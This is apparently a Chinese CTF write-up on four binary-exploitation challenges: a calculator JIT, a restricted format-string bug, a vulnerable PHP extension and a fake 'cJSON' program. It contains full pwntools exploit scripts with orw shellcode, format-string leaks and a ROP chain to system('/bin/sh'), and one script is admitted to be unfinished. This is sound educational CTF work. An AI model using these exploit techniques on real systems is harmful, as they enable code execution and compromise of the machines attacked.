baby_jit
一道shellcode题
程序实现了一个计算器,按照指定格式operation data
输入,exec时对输入进行parse并转换为机器码存放在分配出的固定区域0x10000
,解析完后并执行
利用点在于shellcode执行的起始点可以被用户控制,如果将起始点控制为data区域,那么我们输入的data就会被作为机器码执行,配合jmp即可做到shellcode的完全执行
题目有禁用execve,需要orw
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| from pwn import* import binascii import struct
elf_path='./baby_jit'
elf=ELF(elf_path,checksec=False)
context.binary=elf_path
context.log_level='debug'
r =lambda num=4096 :p.recv(num) ru =lambda content,drop=False :p.recvuntil(content,drop) rl =lambda :p.recvline() ra =lambda time=0.5 :p.recvall(timeout=time) u7f =lambda :int(ru('\x7f')[-6:].ljust(0x8,b'\x00')) sla =lambda flag,content :p.sendlineafter(flag,content) sa =lambda flag,content :p.sendafter(flag,content) sl =lambda content :p.sendline(content) s =lambda content :p.send(content) irt =lambda :p.interactive() tbs =lambda content :str(content).encode() leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def dbg(script = 0): if(script): gdb.attach(p, script) else: gdb.attach(p) pause()
local=1
def run(): if(local): return process(elf_path) return remote('10.1.170.18',9999)
p=run()
def add(content): sla(b'>> ',b'1') sl(b'add '+tbs(content)) add(int('06eb67616c6668',16))
add(int('06ebd231e78948',16)) add(int('07eb026af631',16)) add(int('06ebc031050f58',16)) add(int('06eb286a5f036a',16))
add(int('07ebe689485a',16)) add(int('07eb016a050f',16)) add(int('07eb4a286a5f',16)) add(int('06eb016ae68948',16))
add(int('050f58',16)) dbg() sla(b'>> ',b'2') sla(b'offset?',b'0.177')
irt()
|
printf_master
格式化字符串题,不算很难但绝对够恶心
用户可选获得libc,heap,code,stack中的一个的最低两个字节
个人选择的是stack,可以避免第一步的爆破
之后存在一次格式化字符串机会,但是禁用了$
以及n
字符不能够出现超过4次
没有充足的信息且仅有一次格式化字符串显然很难完成利用,所以我们需要想办法获得更多次数的格式化字符串利用
这里唯一的办法应该是就是利用%n
修改printf的返回地址,再次回到输入name并格式化字符串利用的位置,以此获得足够的利用机会,这样的话就会需要栈上二级指针,好在是有的,不过修改返回地址的时候会有一次1/16爆破
那么第一步应该就是完成泄露,并再次回到格式化字符串漏洞
第二步以及之后的操作便是利用栈上的信息来任意写,一个可选方案是修改free的got表,然后最后一次漏洞利用的时候,在格式化字符串最前面是/bin/sh;
,这样后面释放的时候就会getshell
虽然说起来简单,但实际上因为
- 本题对格式化字符串漏洞的限制
- 过程中存在的爆破
- 地址随机化对格式化字符串
%n
的影响
使得exp的编写是绝对够恶心的
本人一贯是没什么耐心的,exp只完成了第一步,还没有优化格式化字符串的构造(没有优化的话爆破成功率还不到1/16),但想来这题应该就是这么个思路
仅供参考:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import* import binascii import struct
elf_path='./pwn'
libc=ELF('./libc-2.31.so',checksec=False)
elf=ELF(elf_path,checksec=False)
context.binary=elf_path
r =lambda num=4096 :p.recv(num) ru =lambda content,drop=False :p.recvuntil(content,drop) rl =lambda :p.recvline() ra =lambda time=0.5 :p.recvall(timeout=time) u7f =lambda :u64(ru('\x7f')[-6:].ljust(0x8,b'\x00')) sla =lambda flag,content :p.sendlineafter(flag,content) sa =lambda flag,content :p.sendafter(flag,content) sl =lambda content :p.sendline(content) s =lambda content :p.send(content) irt =lambda :p.interactive() tbs =lambda content :str(content).encode() leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) fmt =lambda string :eval(f"f'''{string}'''", globals()).encode()
def dbg(script = 0): if(script): gdb.attach(p, script) else: gdb.attach(p) pause()
local=1
def run(): if(local): return process(elf_path) return remote('127.0.0.1',1234)
p=run()
sa(b'>>> ',tbs(1)) ru(b'0x') stack=int(ru(b'\n',drop=True),16) leak('stack',stack)
payload=b'%c'*10+b'%p'+b'%c'*3+b'%p'+fmt('%{stack-0x2a-0x17}c')+b'%hn'+b'%c'*26+fmt('%{0xf54e-stack-27-0xe7+0x100}c')+b'%hn'
sa(b'your name?\n',payload) code=int(ru(b'bd')[-12:],16)-0x16bd libc.address=int(ru(b'83')[-12:],16)-0x24083 leak('code',code) leak('libc',libc.address) system=libc.sym['system']
payload= sa(b'your name?\n',payload) irt()
|
myphp
phppwn
以前做的题都是让用户上传一个php,然后执行这次给了一个这个
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST['code'])){ if(preg_match('/[a-z,A-Z,0-9<>\?]/', $_POST['code']) === 0){ eval($_POST['code']); }else{ die(); } }else{ phpinfo(); } ?>
|
??听说需要用到web方向的一些绕过技巧,但我不会
漏洞在myphp.so中的zif_phppwn
memcpy使用的是传进字符串时给出的长度,但是check检查时却是使用的strlen计算出的结果
所以存在栈溢出,如果是上传php的话应该是这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <?php $heap_base = 0; $libc_base = 0; $libc = ""; $mbase = "";
function u64($leak){ $leak = strrev($leak); $leak = bin2hex($leak); $leak = hexdec($leak); return $leak; }
function p64($addr){ $addr = dechex($addr); $addr = hex2bin($addr); $addr = strrev($addr); $addr = str_pad($addr, 8, "\x00"); return $addr; }
function leakaddr($buffer){ global $libc,$mbase; $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/php\/20190902\/myphp.so/'; preg_match_all($p1, $buffer, $mbase); return ""; }
function leak(){ global $module_base, $libc, $mbase;
ob_start("leakaddr"); include("/proc/self/maps"); $buffer = ob_get_contents(); ob_end_flush(); leakaddr($buffer); $module_base=hexdec($mbase[1][0]); }
function attack(){ global $libc_base, $module_base; $payload = str_repeat("\00", 0x128).p64($module_base+0x1c4d); phppwn($payload); }
leak(); attack(); ?>
|
不过eval的话我就不会了,不知道有没有人是预期解做的
看到了别的师傅的博客,其实真正的漏洞点应该在于
1 2
| unsigned __int8 len; len = strlen(arg);
|
len是一个单字节长度变量
所以只需要输入长度超过255的内容即可利用
1 2
| payload=b'hVymkNmp0NM0NcYCswNtFbUZuG1GXbwUPD9H'.ljust(256,b'a') print(payload)
|
1
| eval("phppwn($payload)");
|
baby_cjson
又是一题格式化字符串题目,题目名字叫cjson但其实没有任何关系,只需要会基础的语法就行了
对json的了解一直以来都停留在只是知道有这么个东西,比赛的时候就直接略过了,现在想来太不应该
首先花十分钟通过runoob大概了解一下json的基本内容
然后找了一个cJSON库DaveGamble/cJSON: Ultralightweight JSON parser in ANSI C 大致看看一些api接口
然后就可以开始分析了
然后发现这题和json压根没有什么关系,就是套了个json的壳
在delete功能中
1 2 3 4 5 6 7 8 9 10
| __int64 __fastcall sub_4FAA(__int64 a1, const char *a2) { __int64 v3;
v3 = sub_4662(a1, a2); putchar('['); printf(a2); puts("] been deleted"); return sub_4E2F(a1, v3); }
|
a2是用户可控的,所以存在一个格式化字符串漏洞
这题与之前那题相比无疑友好了许多,没有字符限制且无限制次数,但格式化字符串长度被要求不能超过24,这个要求同样很严格
在尝试后发现,这题单靠这个格式化字符串漏洞很难完成利用(其实应该是可以的)
于是尝试在edit中触发parse错误退出,然后看看改link_map的l_info能不能行,分析parse出错只能在edit中
结果在edit功能中随便输入一些数据时发现出现了*** stack smashing detected ***: terminated
错误
那就是有栈溢出,gdb顺藤摸瓜找到了这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| void *__fastcall sub_15B6(const char *a1, __int64 (__fastcall **a2)(size_t)) { size_t n; void *v4; char dest[632]; unsigned __int64 v6;
v6 = __readfsqword(0x28u); if ( !a1 ) return 0LL; n = strlen(a1) + 1; v4 = (void *)(*a2)(n); if ( !v4 ) return 0LL; if ( n <= 0xFFF ) memcpy(dest, a1, 0x1000uLL); memcpy(v4, a1, n); return v4; }
|
那思路就明确了,printf泄露然后栈溢出控制流
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import* import binascii import struct
elf_path='./pwn'
libc=ELF('./libc.so.6',checksec=False)
elf=ELF(elf_path,checksec=False)
context.binary=elf_path
context.log_level='debug'
r =lambda num=4096 :p.recv(num) ru =lambda content,drop=False :p.recvuntil(content,drop) rl =lambda :p.recvline() ra =lambda time=0.5 :p.recvall(timeout=time) u7f =lambda :u64(ru('\x7f')[-6:].ljust(0x8,b'\x00')) sla =lambda flag,content :p.sendlineafter(flag,content) sa =lambda flag,content :p.sendafter(flag,content) sl =lambda content :p.sendline(content) s =lambda content :p.send(content) irt =lambda :p.interactive() tbs =lambda content :str(content).encode() leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) fmt =lambda string :eval(f"f'''{string}'''", globals()).encode()
def dbg(script = 0): if(script): gdb.attach(p, script) else: gdb.attach(p) pause()
local=1
def run(): if(local): return process(elf_path) return remote('127.0.0.1',1234)
def delete(name): sla(b'>',tbs(4)) sla(b'Data name:',name)
def edit(name,content): sla(b'>',tbs(3)) sla(b'Data name:',name) sla(b'data len:',tbs(len(content))) sa(b'data:',content)
p=run()
sla(b'Init Data size: \n',tbs(120))
sla(b'Your Json:\n',b'{"a":"b"}')
delete(b'%p%25$p')
libc.address=int(ru('23')[-12:],16)-0x1ED723 leak('libc',libc.address) canary=int(ru(']',drop=True)[-16:],16) leak('canary',canary)
pop_rdi_ret=libc.address+0x23b6a ret=libc.address+0x23b6b binsh=next(libc.search(b'/bin/sh')) system=libc.sym['system']
edit(b'ixout',b'a'*632+p64(canary)+p64(0)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system))
irt()
|